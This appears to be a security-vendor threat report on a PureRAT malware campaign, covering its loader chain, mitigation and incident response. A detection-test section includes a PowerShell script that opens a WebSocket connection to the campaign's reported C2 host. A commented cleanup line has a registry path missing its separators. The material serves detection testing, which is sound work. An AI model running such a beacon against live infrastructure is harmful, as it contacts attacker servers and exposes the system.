PureRAT Variant Discovered in AI Video Player

Summary

A malware campaign is using a fake Google Drive-themed video downloader to launch a multi-stage execution chain. The infection moves from a Python-based loader to shellcode and then to a protected .NET assembly identified as PureRAT. The malware relies on heavy obfuscation, custom encryption, and authenticated WebSocket communications to manage command-and-control traffic.

Investigation

The investigation analyzed a staged execution flow that began with a Python bytecode loader. Researchers observed Base85 decoding, zlib decompression, and shellcode injection through VirtualAlloc. Further analysis uncovered a heavily protected .NET loader, Ykzrh/smveo-csharp-agent.exe, which used virtualization and runtime reconstruction to hinder analysis.

Mitigation

Users should be warned against downloading files from unofficial or suspicious video-themed lures. Organizations should monitor for unauthorized Python execution and unusual .NET assembly behavior within local application data directories. Strong application allowlisting and monitoring for suspicious Run key changes can also reduce the risk of compromise.

Response

If this activity is detected, isolate affected endpoints immediately to disrupt further WebSocket-based command-and-control traffic. Investigators should perform memory forensics to capture the decrypted .NET payload and determine the scope of infection. Network logs should also be reviewed for connections to the smveo.com infrastructure, and any potentially exposed credentials should be rotated.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands: The adversary has successfully deployed a PureRAT variant. To maintain control, the malware establishes a persistent Command and Control (C2) channel. Instead of standard HTTP polling, it utilizes an authenticated WebSocket connection to bypass traditional web proxies that might not inspect long-lived WebSocket streams. The attacker’s goal is to establish a stable, low-latency tunnel to agent.sm-veo.com on port 8443. This simulation will use a PowerShell script to mimic this network behavior by initiating a connection to the malicious URI.

• Regression Test Script:

  # Simulation of PureRAT Variant C2 via WebSocket
  # Goal: Trigger the detection rule via destination domain or URL.
  
  $targetUrl = "wss://agent.sm-veo.com:8443/v1/ws"
  $targetDomain = "agent.sm-veo.com"
  
  Write-Host "[+] Starting PureRAT C2 Simulation..." -ForegroundColor Cyan
  
  try {
      Write-Host "[+] Attempting to establish WebSocket connection to $targetUrl"
      # Using a .NET WebSocket client to simulate the specific protocol behavior
      $ws = New-Object System.Net.WebSockets.ClientWebSocket
      $uri = New-Object System.Uri($targetUrl)
      $ct = New-Object System.Threading.CancellationTokenSource
  
      # We do not need a successful handshake for the network telemetry to trigger,
      # just the attempt to connect to the specified destination.
      $task = $ws.ConnectAsync($uri, $ct.Token)
  
      # Wait briefly for the connection attempt to generate telemetry
      Start-Sleep -Seconds 5
      Write-Host "[!] Connection attempt completed. Check SIEM for telemetry." -ForegroundColor Green
  }
  catch {
      Write-Host "[!] Connection failed (Expected if domain is sinkholed/not real), but telemetry should have been generated." -ForegroundColor Yellow
  }
  finally {
      if ($ws) { $ws.Dispose() }
  }

• Cleanup Commands:

  # No persistent files or registry keys were modified by this specific simulation script.
  # If persistence (T1547.001) was simulated, use the following:
  # Remove-ItemProperty -Path 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' -Name 'PureRAT_Update'
  Write-Host "[+] Cleanup complete. No artifacts left by network simulation." -ForegroundColor Cyan